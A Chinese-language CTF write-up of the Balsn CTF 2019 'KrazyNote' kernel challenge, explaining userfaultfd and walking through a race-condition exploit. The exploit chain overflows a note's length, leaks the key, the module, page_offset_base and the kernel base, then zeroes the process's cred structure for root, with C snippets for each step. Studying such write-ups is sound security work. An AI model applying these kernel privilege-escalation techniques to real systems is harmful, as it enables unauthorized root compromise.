【linux内核userfaultfd使用】Balsn CTF 2019 - KrazyNote
字数 1634 2025-08-24 20:49:22
Linux内核userfaultfd机制与KrazyNote漏洞利用分析
一、背景知识
1. 内核提权基础
内核提权通常需要修改task_struct中的cred结构:
commit_cred(prepare_kernel_creds(0))可以自动找到并修改cred结构- SMEP防护:防止内核态执行用户态代码,可通过ROP绕过
- SMAP防护:防止内核态使用用户态数据,可通过
copy_from_user和copy_to_user绕过
2. 内存管理基础
页和虚拟内存
- 内核内存主要分为RAM和交换区
- 虚拟地址通过页表映射到物理地址
- 64位系统中虚拟页和物理页大小均为0x1000字节
页调度与延迟加载
mmap创建的内存映射页在首次访问前不会实际分配物理页- 首次访问时会:
- 创建物理帧
- 从文件读取内容或清零(堆映射)
- 设置页表项
别名页(Alias pages)
- 物理帧通常有两个虚拟页映射:主映射和别名映射
- 别名页地址格式:
SOME_OFFSET + physical address page_offset_base就是这个SOME_OFFSET
3. userfaultfd机制
userfaultfd允许用户空间处理页错误,关键步骤:
1. 创建uffd描述符
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
2. 注册监视区域
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
3. 创建处理线程
pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
4. 处理缺页事件
static void *fault_handler_thread(void *arg) {
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
read(uffd, &msg, sizeof(msg)); // 读取缺页信息
assert(msg.event == UFFD_EVENT_PAGEFAULT);
// 设置拷贝参数
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size-1);
uffdio_copy.len = page_size;
ioctl(uffd, UFFDIO_COPY, &uffdio_copy); // 处理缺页
}
二、KrazyNote漏洞分析
1. 驱动结构
struct miscdevice {
int minor;
const char *name;
const struct file_operations *fops;
// ...其他字段
};
struct file_operations {
// ...其他函数指针
long (*unlocked_ioctl)(struct file *, unsigned int, unsigned long);
// ...其他函数指针
};
驱动只实现了open和unlocked_ioctl操作,后者没有使用内核同步锁,存在竞争条件风险。
2. 关键数据结构
struct noteRequest { // 用户参数
size_t idx;
size_t length;
size_t userptr;
};
struct note { // 内核note结构
unsigned long key; // 加密密钥
unsigned char length; // 内容长度
void *contentPtr; // 内容指针(相对page_offset_base)
char content[]; // 实际内容
};
3. 漏洞点
竞争条件存在于edit操作中:
- 线程1开始edit note0(长度0x10)
- 在
copy_from_user访问用户空间时触发缺页 - 线程2趁机:
- 删除所有note
- 创建note0(长度0)
- 创建note1(长度0)
- 线程1恢复执行,仍按原长度(0x10)写入,覆盖note1的length字段
三、漏洞利用
1. 利用步骤
(1) 触发溢出
- 创建note0(长度0x10)
- 注册userfaultfd监视0x1337000地址
- 对note0执行edit,userptr指向0x1337000
- 在缺页处理中:
- 删除所有note
- 创建两个长度为0的note
- 恢复edit操作,覆盖note1的length为0xf0
(2) 信息泄露
- 泄露key:读取note1的NULL内容,解密后得到key
- 泄露module基址:
- 读取note1的contentPtr(相对page_offset_base)
- 计算得到.bss段地址,进而得到module基址
- 泄露page_offset_base:
- 读取.text段中
mov r12, cs:page_offset_base指令的偏移 - 计算page_offset_base的实际地址并读取其值
- 读取.text段中
- 泄露内核基址:
- 读取.text段中
call _copy_from_user的偏移 - 计算得到copy_from_user函数地址,进而得到内核基址
- 读取.text段中
(3) 提权
- 使用prctl设置进程名,在内核内存中搜索
- 找到task_struct结构,定位cred结构
- 修改cred结构实现提权
2. 关键代码片段
// 触发竞争条件
create(buffer, 0x10); // note0
register_userfault(); // 注册缺页处理
edit(0, FAULT_PAGE, 1); // 触发缺页
// 在handler线程中:
delete(); // 删除所有note
create(buffer, 0); // 重新创建note0
create(buffer, 0); // 创建note1
// 恢复edit操作时会溢出修改note1的length
// 泄露key
show(1, buffer);
unsigned long key = *(unsigned long*)buffer;
// 泄露module基址
show(1, buffer);
unsigned long bss_addr = *(unsigned long*)(buffer + 0x10) ^ key;
unsigned long module_base = bss_addr - 0x2568;
// 修改cred提权
fake_note[0] = 0 ^ key;
fake_note[1] = 0x28 ^ key;
fake_note[2] = (task[-2] + 4 - base_addr) ^ key; // cred地址
edit(1, buffer, 0x18);
int fake_cred[8] = {0};
edit(2, (char*)fake_cred, 0x28); // 清零cred
四、补充说明
- 替代提权方法:当无法修改cred时,可以修改
modprobe_path实现提权 - 环境问题:
- 打包时注意
/bin/busybox权限 - 可使用uclibc编译减小二进制体积
- 打包时注意
- 文件上传:可通过base64分段上传exploit到目标系统
五、防御建议
- 对共享资源使用适当的锁机制
- 检查用户提供的长度参数
- 避免在关键操作中使用可能阻塞的函数(如copy_from_user)
- 启用KASLR等防护机制增加利用难度
通过分析此漏洞,我们可以深入理解userfaultfd在内核漏洞利用中的作用,以及如何利用竞争条件实现内核提权。